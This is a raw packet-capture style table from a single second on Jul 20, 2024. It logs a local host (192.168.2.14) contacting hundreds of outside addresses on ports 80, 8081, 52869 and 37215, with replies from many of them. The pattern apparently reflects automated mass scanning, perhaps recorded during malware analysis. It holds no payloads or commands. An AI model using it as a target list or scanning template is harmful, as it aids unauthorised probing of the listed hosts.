Jul 20, 2024 23:01:04.973047972 CEST	51189	80	192.168.2.14	88.9.179.36
Jul 20, 2024 23:01:04.973047972 CEST	51189	80	192.168.2.14	88.118.153.183
Jul 20, 2024 23:01:04.973047972 CEST	51189	80	192.168.2.14	88.207.171.224
Jul 20, 2024 23:01:04.973047972 CEST	51189	80	192.168.2.14	88.248.74.152
Jul 20, 2024 23:01:04.973047972 CEST	51189	80	192.168.2.14	88.151.174.174
Jul 20, 2024 23:01:04.973115921 CEST	51189	80	192.168.2.14	88.232.235.82
Jul 20, 2024 23:01:04.973115921 CEST	51189	80	192.168.2.14	88.176.82.195
Jul 20, 2024 23:01:04.973115921 CEST	51189	80	192.168.2.14	88.44.171.152
Jul 20, 2024 23:01:04.973115921 CEST	51189	80	192.168.2.14	88.55.210.24
Jul 20, 2024 23:01:04.973115921 CEST	51189	80	192.168.2.14	88.16.177.50
Jul 20, 2024 23:01:04.973115921 CEST	51189	80	192.168.2.14	88.55.78.253
Jul 20, 2024 23:01:04.973115921 CEST	51189	80	192.168.2.14	88.148.172.187
Jul 20, 2024 23:01:04.973608971 CEST	51189	80	192.168.2.14	88.126.144.128
Jul 20, 2024 23:01:04.973608971 CEST	51189	80	192.168.2.14	88.173.155.122
Jul 20, 2024 23:01:04.973608971 CEST	51189	80	192.168.2.14	88.193.156.71
Jul 20, 2024 23:01:04.973608971 CEST	51189	80	192.168.2.14	88.173.171.22
Jul 20, 2024 23:01:04.973608971 CEST	51189	80	192.168.2.14	88.155.170.229
Jul 20, 2024 23:01:04.973965883 CEST	35782	52869	192.168.2.14	40.156.155.77
Jul 20, 2024 23:01:04.973965883 CEST	43132	8081	192.168.2.14	218.97.122.254
Jul 20, 2024 23:01:04.973967075 CEST	47060	52869	192.168.2.14	98.212.47.174
Jul 20, 2024 23:01:04.973977089 CEST	37215	57768	41.203.149.103	192.168.2.14
Jul 20, 2024 23:01:04.974280119 CEST	37215	49206	41.93.226.90	192.168.2.14
Jul 20, 2024 23:01:04.974409103 CEST	51189	80	192.168.2.14	88.147.38.136
Jul 20, 2024 23:01:04.974409103 CEST	51189	80	192.168.2.14	88.116.237.54
Jul 20, 2024 23:01:04.974409103 CEST	51189	80	192.168.2.14	88.192.18.11
Jul 20, 2024 23:01:04.974409103 CEST	51189	80	192.168.2.14	88.201.99.181
Jul 20, 2024 23:01:04.974409103 CEST	51189	80	192.168.2.14	88.130.188.143
Jul 20, 2024 23:01:04.974409103 CEST	51189	80	192.168.2.14	88.95.84.39
Jul 20, 2024 23:01:04.974409103 CEST	51189	80	192.168.2.14	88.224.248.190
Jul 20, 2024 23:01:04.974409103 CEST	51189	80	192.168.2.14	88.32.40.33
Jul 20, 2024 23:01:04.974441051 CEST	37215	38882	197.41.90.82	192.168.2.14
Jul 20, 2024 23:01:04.974477053 CEST	51189	80	192.168.2.14	88.109.138.89
Jul 20, 2024 23:01:04.974477053 CEST	51189	80	192.168.2.14	88.158.108.57
Jul 20, 2024 23:01:04.974477053 CEST	51189	80	192.168.2.14	88.27.164.44
Jul 20, 2024 23:01:04.974477053 CEST	51189	80	192.168.2.14	88.1.187.152
Jul 20, 2024 23:01:04.974477053 CEST	51189	80	192.168.2.14	88.201.183.159
Jul 20, 2024 23:01:04.974477053 CEST	51189	80	192.168.2.14	88.221.175.1
Jul 20, 2024 23:01:04.974477053 CEST	51189	80	192.168.2.14	88.72.190.22
Jul 20, 2024 23:01:04.974477053 CEST	51189	80	192.168.2.14	88.253.169.175
Jul 20, 2024 23:01:04.975270033 CEST	80	51189	88.116.57.194	192.168.2.14
Jul 20, 2024 23:01:04.975281000 CEST	80	51189	88.21.56.118	192.168.2.14
Jul 20, 2024 23:01:04.975480080 CEST	80	51189	88.87.120.235	192.168.2.14
Jul 20, 2024 23:01:04.975759029 CEST	80	51189	88.18.80.225	192.168.2.14
Jul 20, 2024 23:01:04.975783110 CEST	8081	51650	166.110.126.109	192.168.2.14
Jul 20, 2024 23:01:04.976001024 CEST	51189	80	192.168.2.14	88.7.137.236
Jul 20, 2024 23:01:04.976001024 CEST	51189	80	192.168.2.14	88.224.5.184
Jul 20, 2024 23:01:04.976001024 CEST	51189	80	192.168.2.14	88.13.237.253
Jul 20, 2024 23:01:04.976001024 CEST	51189	80	192.168.2.14	88.44.138.229
Jul 20, 2024 23:01:04.976001978 CEST	51189	80	192.168.2.14	88.138.80.25
Jul 20, 2024 23:01:04.976219893 CEST	51189	80	192.168.2.14	88.132.58.103
Jul 20, 2024 23:01:04.976219893 CEST	51189	80	192.168.2.14	88.145.112.131
Jul 20, 2024 23:01:04.976219893 CEST	51189	80	192.168.2.14	88.2.115.206
Jul 20, 2024 23:01:04.976219893 CEST	51189	80	192.168.2.14	88.87.120.235
Jul 20, 2024 23:01:04.976758003 CEST	80	51189	88.255.189.152	192.168.2.14
Jul 20, 2024 23:01:04.976768970 CEST	51189	80	192.168.2.14	88.183.190.65
Jul 20, 2024 23:01:04.976768970 CEST	57768	37215	192.168.2.14	41.203.149.103
Jul 20, 2024 23:01:04.976768970 CEST	49206	37215	192.168.2.14	41.93.226.90
Jul 20, 2024 23:01:04.976771116 CEST	37215	60856	80.185.13.173	192.168.2.14
Jul 20, 2024 23:01:04.976768970 CEST	38882	37215	192.168.2.14	197.41.90.82
Jul 20, 2024 23:01:04.976814985 CEST	80	51189	88.106.94.39	192.168.2.14
Jul 20, 2024 23:01:04.976840019 CEST	80	51189	88.138.106.242	192.168.2.14
Jul 20, 2024 23:01:04.976847887 CEST	51189	80	192.168.2.14	88.255.189.152
Jul 20, 2024 23:01:04.976851940 CEST	80	51189	88.89.100.183	192.168.2.14
Jul 20, 2024 23:01:04.976864100 CEST	8081	50256	93.78.244.21	192.168.2.14
Jul 20, 2024 23:01:04.976876974 CEST	80	51189	88.230.110.22	192.168.2.14
Jul 20, 2024 23:01:04.976887941 CEST	37215	39950	197.188.141.9	192.168.2.14
Jul 20, 2024 23:01:04.977217913 CEST	41588	37215	192.168.2.14	197.150.84.25
Jul 20, 2024 23:01:04.977217913 CEST	39058	52869	192.168.2.14	173.171.125.50
Jul 20, 2024 23:01:04.977217913 CEST	46642	52869	192.168.2.14	87.85.193.52
Jul 20, 2024 23:01:04.977358103 CEST	51189	80	192.168.2.14	88.89.100.183
Jul 20, 2024 23:01:04.977709055 CEST	51189	80	192.168.2.14	88.221.46.80
Jul 20, 2024 23:01:04.977709055 CEST	51189	80	192.168.2.14	88.135.41.118
Jul 20, 2024 23:01:04.977709055 CEST	51189	80	192.168.2.14	88.98.108.71
Jul 20, 2024 23:01:04.977709055 CEST	51189	80	192.168.2.14	88.33.111.194
Jul 20, 2024 23:01:04.977709055 CEST	51189	80	192.168.2.14	88.231.115.115
Jul 20, 2024 23:01:04.977709055 CEST	51189	80	192.168.2.14	88.11.145.41
Jul 20, 2024 23:01:04.977709055 CEST	51189	80	192.168.2.14	88.157.78.165
Jul 20, 2024 23:01:04.977791071 CEST	44854	8081	192.168.2.14	48.64.83.44
Jul 20, 2024 23:01:04.977991104 CEST	80	51189	88.53.45.90	192.168.2.14
Jul 20, 2024 23:01:04.978004932 CEST	51189	80	192.168.2.14	88.138.106.242
Jul 20, 2024 23:01:04.978014946 CEST	80	51189	88.216.142.159	192.168.2.14
Jul 20, 2024 23:01:04.978024960 CEST	51189	80	192.168.2.14	88.53.45.90
Jul 20, 2024 23:01:04.978029966 CEST	80	51189	88.82.61.26	192.168.2.14
Jul 20, 2024 23:01:04.978054047 CEST	80	51189	88.222.20.238	192.168.2.14
Jul 20, 2024 23:01:04.978066921 CEST	80	51189	88.148.194.224	192.168.2.14
Jul 20, 2024 23:01:04.978077888 CEST	80	51189	88.80.79.46	192.168.2.14
Jul 20, 2024 23:01:04.978090048 CEST	80	51189	88.62.78.39	192.168.2.14
Jul 20, 2024 23:01:04.978101969 CEST	80	51189	88.163.8.185	192.168.2.14
Jul 20, 2024 23:01:04.978112936 CEST	80	51189	88.253.195.191	192.168.2.14
Jul 20, 2024 23:01:04.978125095 CEST	80	51189	88.67.242.156	192.168.2.14
Jul 20, 2024 23:01:04.978136063 CEST	80	51189	88.104.109.218	192.168.2.14
Jul 20, 2024 23:01:04.978138924 CEST	51189	80	192.168.2.14	88.82.61.26
Jul 20, 2024 23:01:04.978138924 CEST	51189	80	192.168.2.14	88.148.194.224
Jul 20, 2024 23:01:04.978147984 CEST	80	51189	88.107.102.78	192.168.2.14
Jul 20, 2024 23:01:04.978159904 CEST	80	51189	88.114.196.190	192.168.2.14
Jul 20, 2024 23:01:04.978171110 CEST	80	51189	88.179.180.160	192.168.2.14
Jul 20, 2024 23:01:04.978193998 CEST	80	51189	88.164.119.71	192.168.2.14
Jul 20, 2024 23:01:04.978204012 CEST	51189	80	192.168.2.14	88.163.8.185
Jul 20, 2024 23:01:04.978204012 CEST	51189	80	192.168.2.14	88.67.242.156
Jul 20, 2024 23:01:04.978204966 CEST	80	51189	88.123.158.53	192.168.2.14
Jul 20, 2024 23:01:04.978239059 CEST	80	51189	88.113.78.214	192.168.2.14
Jul 20, 2024 23:01:04.978250980 CEST	80	51189	88.78.103.109	192.168.2.14
Jul 20, 2024 23:01:04.978275061 CEST	80	51189	88.98.238.218	192.168.2.14
Jul 20, 2024 23:01:04.978286028 CEST	80	51189	88.89.21.154	192.168.2.14
Jul 20, 2024 23:01:04.978286982 CEST	51189	80	192.168.2.14	88.21.56.118
Jul 20, 2024 23:01:04.978286982 CEST	51189	80	192.168.2.14	88.222.20.238
Jul 20, 2024 23:01:04.978286982 CEST	51189	80	192.168.2.14	88.62.78.39
Jul 20, 2024 23:01:04.978286982 CEST	51189	80	192.168.2.14	88.104.109.218
Jul 20, 2024 23:01:04.978297949 CEST	80	51189	88.10.40.129	192.168.2.14
Jul 20, 2024 23:01:04.978321075 CEST	80	51189	88.227.132.28	192.168.2.14
Jul 20, 2024 23:01:04.978343964 CEST	80	51189	88.60.193.177	192.168.2.14
Jul 20, 2024 23:01:04.978355885 CEST	80	51189	88.214.117.94	192.168.2.14
Jul 20, 2024 23:01:04.978368044 CEST	80	51189	88.142.94.124	192.168.2.14
Jul 20, 2024 23:01:04.978620052 CEST	51052	8081	192.168.2.14	223.6.214.55
Jul 20, 2024 23:01:04.978620052 CEST	46686	52869	192.168.2.14	126.63.129.65
Jul 20, 2024 23:01:04.978688955 CEST	51189	80	192.168.2.14	88.89.21.154
Jul 20, 2024 23:01:04.978688955 CEST	51189	80	192.168.2.14	88.227.132.28
Jul 20, 2024 23:01:04.978773117 CEST	80	51189	88.125.81.31	192.168.2.14
Jul 20, 2024 23:01:04.978785992 CEST	80	51189	88.141.2.100	192.168.2.14
Jul 20, 2024 23:01:04.978796959 CEST	80	51189	88.79.58.153	192.168.2.14
Jul 20, 2024 23:01:04.978821039 CEST	80	51189	88.194.209.109	192.168.2.14
Jul 20, 2024 23:01:04.978832006 CEST	80	51189	88.254.146.112	192.168.2.14
Jul 20, 2024 23:01:04.978843927 CEST	80	51189	88.47.230.33	192.168.2.14
Jul 20, 2024 23:01:04.978856087 CEST	51189	80	192.168.2.14	88.194.209.109
Jul 20, 2024 23:01:04.978868008 CEST	80	51189	88.204.45.244	192.168.2.14
Jul 20, 2024 23:01:04.978879929 CEST	80	51189	88.84.209.225	192.168.2.14
Jul 20, 2024 23:01:04.978892088 CEST	80	51189	88.89.163.67	192.168.2.14
Jul 20, 2024 23:01:04.978914022 CEST	80	51189	88.232.235.82	192.168.2.14
Jul 20, 2024 23:01:04.978929996 CEST	80	51189	88.9.179.36	192.168.2.14
Jul 20, 2024 23:01:04.978941917 CEST	80	51189	88.78.199.78	192.168.2.14
Jul 20, 2024 23:01:04.978952885 CEST	80	51189	88.32.176.121	192.168.2.14
Jul 20, 2024 23:01:04.979022026 CEST	60856	37215	192.168.2.14	80.185.13.173
Jul 20, 2024 23:01:04.979022980 CEST	51189	80	192.168.2.14	88.106.94.39
Jul 20, 2024 23:01:04.979022980 CEST	51189	80	192.168.2.14	88.80.79.46
Jul 20, 2024 23:01:04.979022980 CEST	51189	80	192.168.2.14	88.253.195.191
Jul 20, 2024 23:01:04.979022980 CEST	51189	80	192.168.2.14	88.179.180.160
Jul 20, 2024 23:01:04.979022980 CEST	51189	80	192.168.2.14	88.123.158.53
Jul 20, 2024 23:01:04.979022980 CEST	51189	80	192.168.2.14	88.204.45.244
Jul 20, 2024 23:01:04.979022980 CEST	51189	80	192.168.2.14	88.89.163.67
Jul 20, 2024 23:01:04.979088068 CEST	37215	47722	157.193.7.72	192.168.2.14
Jul 20, 2024 23:01:04.979193926 CEST	80	51189	88.13.200.87	192.168.2.14
Jul 20, 2024 23:01:04.979204893 CEST	80	51189	88.176.82.195	192.168.2.14
Jul 20, 2024 23:01:04.979309082 CEST	51189	80	192.168.2.14	88.47.230.33
Jul 20, 2024 23:01:04.979309082 CEST	51189	80	192.168.2.14	88.232.235.82
Jul 20, 2024 23:01:04.979309082 CEST	51189	80	192.168.2.14	88.176.82.195
Jul 20, 2024 23:01:04.979377031 CEST	51189	80	192.168.2.14	88.125.81.31
Jul 20, 2024 23:01:04.979377031 CEST	51189	80	192.168.2.14	88.32.176.121
Jul 20, 2024 23:01:04.979427099 CEST	80	51189	88.234.62.213	192.168.2.14
Jul 20, 2024 23:01:04.979454994 CEST	80	51189	88.126.144.128	192.168.2.14
Jul 20, 2024 23:01:04.979477882 CEST	80	51189	88.44.171.152	192.168.2.14
Jul 20, 2024 23:01:04.979492903 CEST	80	51189	88.70.103.249	192.168.2.14
Jul 20, 2024 23:01:04.979504108 CEST	80	51189	88.204.250.120	192.168.2.14
Jul 20, 2024 23:01:04.979585886 CEST	80	51189	88.29.251.255	192.168.2.14
Jul 20, 2024 23:01:04.979598999 CEST	80	51189	88.118.153.183	192.168.2.14
Jul 20, 2024 23:01:04.979624033 CEST	80	51189	88.109.138.89	192.168.2.14
Jul 20, 2024 23:01:04.979784966 CEST	80	51189	88.207.171.224	192.168.2.14
Jul 20, 2024 23:01:04.979798079 CEST	52869	35782	40.156.155.77	192.168.2.14
Jul 20, 2024 23:01:04.979928970 CEST	80	51189	88.173.155.122	192.168.2.14
Jul 20, 2024 23:01:04.979943991 CEST	80	51189	88.158.108.57	192.168.2.14
Jul 20, 2024 23:01:04.980000019 CEST	51189	80	192.168.2.14	88.44.171.152
Jul 20, 2024 23:01:04.980108023 CEST	51189	80	192.168.2.14	88.126.144.128
Jul 20, 2024 23:01:04.980108023 CEST	51189	80	192.168.2.14	88.173.155.122
Jul 20, 2024 23:01:04.980137110 CEST	80	51189	88.193.156.71	192.168.2.14
Jul 20, 2024 23:01:04.980174065 CEST	80	51189	88.147.38.136	192.168.2.14
Jul 20, 2024 23:01:04.980317116 CEST	80	51189	88.173.171.22	192.168.2.14
Jul 20, 2024 23:01:04.980329990 CEST	80	51189	88.248.74.152	192.168.2.14
Jul 20, 2024 23:01:04.980341911 CEST	80	51189	88.116.237.54	192.168.2.14
Jul 20, 2024 23:01:04.980654001 CEST	51189	80	192.168.2.14	88.54.156.208
Jul 20, 2024 23:01:04.980654001 CEST	51189	80	192.168.2.14	88.218.132.111
Jul 20, 2024 23:01:04.980665922 CEST	80	51189	88.155.170.229	192.168.2.14
Jul 20, 2024 23:01:04.980921030 CEST	51189	80	192.168.2.14	88.166.86.96
Jul 20, 2024 23:01:04.980921030 CEST	51189	80	192.168.2.14	88.201.181.239
Jul 20, 2024 23:01:04.980921030 CEST	40884	8081	192.168.2.14	131.2.150.33
Jul 20, 2024 23:01:04.980921030 CEST	51189	80	192.168.2.14	88.116.57.194
Jul 20, 2024 23:01:04.980921030 CEST	51189	80	192.168.2.14	88.18.80.225
Jul 20, 2024 23:01:04.980954885 CEST	80	51189	88.55.210.24	192.168.2.14
Jul 20, 2024 23:01:04.980967045 CEST	80	51189	88.27.164.44	192.168.2.14
Jul 20, 2024 23:01:04.980978966 CEST	80	51189	88.192.18.11	192.168.2.14
Jul 20, 2024 23:01:04.980982065 CEST	51189	80	192.168.2.14	88.114.196.190
Jul 20, 2024 23:01:04.980982065 CEST	51189	80	192.168.2.14	88.164.119.71
Jul 20, 2024 23:01:04.980982065 CEST	51189	80	192.168.2.14	88.78.103.109
Jul 20, 2024 23:01:04.980982065 CEST	51189	80	192.168.2.14	88.214.117.94
Jul 20, 2024 23:01:04.980982065 CEST	51189	80	192.168.2.14	88.79.58.153
Jul 20, 2024 23:01:04.980990887 CEST	51189	80	192.168.2.14	88.55.210.24
Jul 20, 2024 23:01:04.980990887 CEST	8081	43132	218.97.122.254	192.168.2.14
Jul 20, 2024 23:01:04.981797934 CEST	51189	80	192.168.2.14	88.78.199.78
Jul 20, 2024 23:01:04.981797934 CEST	51189	80	192.168.2.14	88.13.200.87
Jul 20, 2024 23:01:04.981797934 CEST	51189	80	192.168.2.14	88.234.62.213
Jul 20, 2024 23:01:04.981797934 CEST	51189	80	192.168.2.14	88.204.250.120
Jul 20, 2024 23:01:04.981797934 CEST	51189	80	192.168.2.14	88.147.38.136
Jul 20, 2024 23:01:04.981797934 CEST	51189	80	192.168.2.14	88.116.237.54
Jul 20, 2024 23:01:04.981811047 CEST	80	51189	88.16.177.50	192.168.2.14
Jul 20, 2024 23:01:04.981823921 CEST	80	51189	88.151.174.174	192.168.2.14
Jul 20, 2024 23:01:04.981847048 CEST	51189	80	192.168.2.14	88.16.177.50
Jul 20, 2024 23:01:04.981878996 CEST	51189	80	192.168.2.14	88.193.156.71
Jul 20, 2024 23:01:04.981878996 CEST	51189	80	192.168.2.14	88.173.171.22
Jul 20, 2024 23:01:04.981878996 CEST	51189	80	192.168.2.14	88.155.170.229
Jul 20, 2024 23:01:04.982081890 CEST	80	51189	88.55.78.253	192.168.2.14
Jul 20, 2024 23:01:04.982094049 CEST	80	51189	88.201.99.181	192.168.2.14
Jul 20, 2024 23:01:04.982105017 CEST	80	51189	88.148.172.187	192.168.2.14
Jul 20, 2024 23:01:04.982116938 CEST	80	51189	88.130.188.143	192.168.2.14
Jul 20, 2024 23:01:04.982127905 CEST	80	51189	88.1.187.152	192.168.2.14
Jul 20, 2024 23:01:04.982285976 CEST	80	51189	88.95.84.39	192.168.2.14
Jul 20, 2024 23:01:04.982299089 CEST	80	51189	88.201.183.159	192.168.2.14
Jul 20, 2024 23:01:04.982310057 CEST	80	51189	88.224.248.190	192.168.2.14
Jul 20, 2024 23:01:04.982321978 CEST	80	51189	88.132.58.103	192.168.2.14
Jul 20, 2024 23:01:04.982343912 CEST	80	51189	88.32.40.33	192.168.2.14
Jul 20, 2024 23:01:04.982547045 CEST	80	51189	88.145.112.131	192.168.2.14
Jul 20, 2024 23:01:04.982558966 CEST	80	51189	88.221.175.1	192.168.2.14
Jul 20, 2024 23:01:04.982570887 CEST	80	51189	88.183.190.65	192.168.2.14
Jul 20, 2024 23:01:04.982583046 CEST	80	51189	88.7.137.236	192.168.2.14
Jul 20, 2024 23:01:04.982594967 CEST	52869	47060	98.212.47.174	192.168.2.14
Jul 20, 2024 23:01:04.982620001 CEST	80	51189	88.72.190.22	192.168.2.14
Jul 20, 2024 23:01:04.982660055 CEST	51189	80	192.168.2.14	88.254.146.112
Jul 20, 2024 23:01:04.982660055 CEST	51189	80	192.168.2.14	88.9.179.36
Jul 20, 2024 23:01:04.982661009 CEST	51189	80	192.168.2.14	88.118.153.183
Jul 20, 2024 23:01:04.982661009 CEST	51189	80	192.168.2.14	88.207.171.224
Jul 20, 2024 23:01:04.982661009 CEST	51189	80	192.168.2.14	88.248.74.152
Jul 20, 2024 23:01:04.982661009 CEST	51189	80	192.168.2.14	88.151.174.174
Jul 20, 2024 23:01:04.982964039 CEST	51189	80	192.168.2.14	88.230.110.22
Jul 20, 2024 23:01:04.982964039 CEST	51189	80	192.168.2.14	88.216.142.159
Jul 20, 2024 23:01:04.982964039 CEST	39950	37215	192.168.2.14	197.188.141.9
Jul 20, 2024 23:01:04.982964039 CEST	50256	8081	192.168.2.14	93.78.244.21
Jul 20, 2024 23:01:04.982964039 CEST	51650	8081	192.168.2.14	166.110.126.109
Jul 20, 2024 23:01:04.982964039 CEST	51189	80	192.168.2.14	88.107.102.78
Jul 20, 2024 23:01:04.982964039 CEST	51189	80	192.168.2.14	88.113.78.214
Jul 20, 2024 23:01:04.982964039 CEST	51189	80	192.168.2.14	88.98.238.218
Jul 20, 2024 23:01:04.983146906 CEST	51189	80	192.168.2.14	88.55.78.253
Jul 20, 2024 23:01:04.983146906 CEST	51189	80	192.168.2.14	88.148.172.187
Jul 20, 2024 23:01:04.983146906 CEST	51189	80	192.168.2.14	88.132.58.103
Jul 20, 2024 23:01:04.983146906 CEST	51189	80	192.168.2.14	88.145.112.131
Jul 20, 2024 23:01:04.983403921 CEST	51189	80	192.168.2.14	88.130.225.111
Jul 20, 2024 23:01:04.983403921 CEST	51189	80	192.168.2.14	88.152.98.34
Jul 20, 2024 23:01:04.983403921 CEST	51189	80	192.168.2.14	88.177.172.115
Jul 20, 2024 23:01:04.983403921 CEST	51189	80	192.168.2.14	88.171.237.212
Jul 20, 2024 23:01:04.983403921 CEST	51189	80	192.168.2.14	88.103.167.76
Jul 20, 2024 23:01:04.983403921 CEST	51189	80	192.168.2.14	88.105.200.3
Jul 20, 2024 23:01:04.983403921 CEST	51189	80	192.168.2.14	88.123.7.85
Jul 20, 2024 23:01:04.983403921 CEST	51189	80	192.168.2.14	88.145.13.223
Jul 20, 2024 23:01:04.984342098 CEST	37215	57768	41.203.149.103	192.168.2.14
Jul 20, 2024 23:01:04.984946012 CEST	51189	80	192.168.2.14	88.10.40.129
Jul 20, 2024 23:01:04.984946012 CEST	51189	80	192.168.2.14	88.60.193.177
Jul 20, 2024 23:01:04.984946012 CEST	51189	80	192.168.2.14	88.142.94.124
Jul 20, 2024 23:01:04.984946012 CEST	51189	80	192.168.2.14	88.141.2.100
Jul 20, 2024 23:01:04.984946012 CEST	51189	80	192.168.2.14	88.84.209.225
Jul 20, 2024 23:01:04.984946012 CEST	51189	80	192.168.2.14	88.70.103.249
Jul 20, 2024 23:01:04.984946012 CEST	51189	80	192.168.2.14	88.29.251.255
Jul 20, 2024 23:01:04.984946012 CEST	51189	80	192.168.2.14	88.109.138.89
Jul 20, 2024 23:01:04.985102892 CEST	51189	80	192.168.2.14	88.192.18.11
Jul 20, 2024 23:01:04.985102892 CEST	51189	80	192.168.2.14	88.201.99.181
Jul 20, 2024 23:01:04.985102892 CEST	51189	80	192.168.2.14	88.130.188.143
Jul 20, 2024 23:01:04.985102892 CEST	51189	80	192.168.2.14	88.95.84.39
Jul 20, 2024 23:01:04.985102892 CEST	51189	80	192.168.2.14	88.224.248.190
Jul 20, 2024 23:01:04.985102892 CEST	51189	80	192.168.2.14	88.32.40.33
Jul 20, 2024 23:01:04.985744953 CEST	80	51189	88.224.5.184	192.168.2.14
Jul 20, 2024 23:01:04.985758066 CEST	80	51189	88.253.169.175	192.168.2.14
Jul 20, 2024 23:01:04.985769987 CEST	80	51189	88.2.115.206	192.168.2.14
Jul 20, 2024 23:01:04.985796928 CEST	80	51189	88.13.237.253	192.168.2.14
Jul 20, 2024 23:01:04.985804081 CEST	51189	80	192.168.2.14	88.2.115.206
Jul 20, 2024 23:01:04.985807896 CEST	37215	49206	41.93.226.90	192.168.2.14
Jul 20, 2024 23:01:04.985862970 CEST	51189	80	192.168.2.14	88.7.137.236
Jul 20, 2024 23:01:04.985862970 CEST	51189	80	192.168.2.14	88.224.5.184
Jul 20, 2024 23:01:04.985862970 CEST	51189	80	192.168.2.14	88.13.237.253
Jul 20, 2024 23:01:04.986344099 CEST	80	51189	88.44.138.229	192.168.2.14
Jul 20, 2024 23:01:04.986373901 CEST	51189	80	192.168.2.14	88.132.234.53
Jul 20, 2024 23:01:04.986373901 CEST	51189	80	192.168.2.14	88.116.235.99
Jul 20, 2024 23:01:04.986373901 CEST	51189	80	192.168.2.14	88.17.233.32
Jul 20, 2024 23:01:04.986373901 CEST	51189	80	192.168.2.14	88.81.24.52
Jul 20, 2024 23:01:04.986373901 CEST	51189	80	192.168.2.14	88.114.82.187
Jul 20, 2024 23:01:04.986373901 CEST	51189	80	192.168.2.14	88.94.24.255
Jul 20, 2024 23:01:04.986373901 CEST	51189	80	192.168.2.14	88.82.134.169
Jul 20, 2024 23:01:04.986386061 CEST	80	51189	88.138.80.25	192.168.2.14
Jul 20, 2024 23:01:04.986411095 CEST	80	51189	88.221.46.80	192.168.2.14
Jul 20, 2024 23:01:04.986423016 CEST	80	51189	88.135.41.118	192.168.2.14
Jul 20, 2024 23:01:04.986435890 CEST	37215	41588	197.150.84.25	192.168.2.14
Jul 20, 2024 23:01:04.986448050 CEST	80	51189	88.98.108.71	192.168.2.14
Jul 20, 2024 23:01:04.986907005 CEST	51189	80	192.168.2.14	88.44.138.229
Jul 20, 2024 23:01:04.986907959 CEST	51189	80	192.168.2.14	88.138.80.25
Jul 20, 2024 23:01:04.987230062 CEST	52869	39058	173.171.125.50	192.168.2.14
Jul 20, 2024 23:01:04.987245083 CEST	80	51189	88.33.111.194	192.168.2.14
Jul 20, 2024 23:01:04.987256050 CEST	37215	38882	197.41.90.82	192.168.2.14
Jul 20, 2024 23:01:04.987279892 CEST	80	51189	88.231.115.115	192.168.2.14
Jul 20, 2024 23:01:04.987293005 CEST	80	51189	88.11.145.41	192.168.2.14
Jul 20, 2024 23:01:04.987320900 CEST	52869	46642	87.85.193.52	192.168.2.14
Jul 20, 2024 23:01:04.987561941 CEST	80	51189	88.157.78.165	192.168.2.14
Jul 20, 2024 23:01:04.987586021 CEST	80	51189	88.166.86.96	192.168.2.14
Jul 20, 2024 23:01:04.987637997 CEST	34708	80	192.168.2.14	88.186.184.22
Jul 20, 2024 23:01:04.987637997 CEST	51189	80	192.168.2.14	88.77.238.199
Jul 20, 2024 23:01:04.987637997 CEST	51189	80	192.168.2.14	88.192.38.168
Jul 20, 2024 23:01:04.987638950 CEST	51189	80	192.168.2.14	88.224.207.234
Jul 20, 2024 23:01:04.987638950 CEST	51189	80	192.168.2.14	88.149.55.93
Jul 20, 2024 23:01:04.987638950 CEST	51189	80	192.168.2.14	88.241.216.107
Jul 20, 2024 23:01:04.988007069 CEST	51189	80	192.168.2.14	88.158.108.57
Jul 20, 2024 23:01:04.988007069 CEST	51189	80	192.168.2.14	88.27.164.44
Jul 20, 2024 23:01:04.988007069 CEST	51189	80	192.168.2.14	88.1.187.152
Jul 20, 2024 23:01:04.988007069 CEST	51189	80	192.168.2.14	88.201.183.159
Jul 20, 2024 23:01:04.988007069 CEST	51189	80	192.168.2.14	88.221.175.1
Jul 20, 2024 23:01:04.988007069 CEST	51189	80	192.168.2.14	88.72.190.22
Jul 20, 2024 23:01:04.988007069 CEST	51189	80	192.168.2.14	88.253.169.175
Jul 20, 2024 23:01:04.988007069 CEST	51189	80	192.168.2.14	88.221.46.80
Jul 20, 2024 23:01:04.988079071 CEST	80	51189	88.201.181.239	192.168.2.14
Jul 20, 2024 23:01:04.988084078 CEST	39332	37215	192.168.2.14	96.50.39.180
Jul 20, 2024 23:01:04.988117933 CEST	51189	80	192.168.2.14	88.183.190.65
Jul 20, 2024 23:01:04.988117933 CEST	49206	37215	192.168.2.14	41.93.226.90
Jul 20, 2024 23:01:04.988117933 CEST	57768	37215	192.168.2.14	41.203.149.103
Jul 20, 2024 23:01:04.988327026 CEST	34484	8081	192.168.2.14	194.114.174.13
Jul 20, 2024 23:01:04.989470959 CEST	51189	80	192.168.2.14	88.5.27.208
Jul 20, 2024 23:01:04.989470959 CEST	51189	80	192.168.2.14	88.219.17.90
Jul 20, 2024 23:01:04.989470959 CEST	51189	80	192.168.2.14	88.26.45.88
Jul 20, 2024 23:01:04.989470959 CEST	51189	80	192.168.2.14	88.70.99.27
Jul 20, 2024 23:01:04.989470959 CEST	51189	80	192.168.2.14	88.84.12.189
Jul 20, 2024 23:01:04.989470959 CEST	51189	80	192.168.2.14	88.44.105.131
Jul 20, 2024 23:01:04.989470959 CEST	47792	52869	192.168.2.14	211.247.22.129
Jul 20, 2024 23:01:04.989905119 CEST	51189	80	192.168.2.14	88.16.255.66
Jul 20, 2024 23:01:04.990207911 CEST	80	51189	88.54.156.208	192.168.2.14
Jul 20, 2024 23:01:04.990235090 CEST	37215	60856	80.185.13.173	192.168.2.14
Jul 20, 2024 23:01:04.990299940 CEST	80	51189	88.218.132.111	192.168.2.14
Jul 20, 2024 23:01:04.990397930 CEST	51189	80	192.168.2.14	88.135.41.118
Jul 20, 2024 23:01:04.990397930 CEST	51189	80	192.168.2.14	88.98.108.71
Jul 20, 2024 23:01:04.990397930 CEST	51189	80	192.168.2.14	88.33.111.194
Jul 20, 2024 23:01:04.990397930 CEST	51189	80	192.168.2.14	88.231.115.115
Jul 20, 2024 23:01:04.990397930 CEST	51189	80	192.168.2.14	88.11.145.41
Jul 20, 2024 23:01:04.990397930 CEST	51189	80	192.168.2.14	88.157.78.165
Jul 20, 2024 23:01:04.990398884 CEST	51189	80	192.168.2.14	88.166.86.96
Jul 20, 2024 23:01:04.990398884 CEST	51189	80	192.168.2.14	88.201.181.239
Jul 20, 2024 23:01:04.990442991 CEST	47376	8081	192.168.2.14	142.34.199.184
Jul 20, 2024 23:01:04.990442991 CEST	36698	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:04.990443945 CEST	38882	37215	192.168.2.14	197.41.90.82
Jul 20, 2024 23:01:04.990613937 CEST	51189	80	192.168.2.14	88.49.70.138
Jul 20, 2024 23:01:04.990613937 CEST	51189	80	192.168.2.14	88.36.102.8
Jul 20, 2024 23:01:04.990613937 CEST	51189	80	192.168.2.14	88.26.83.90
Jul 20, 2024 23:01:04.990613937 CEST	51189	80	192.168.2.14	88.64.163.237
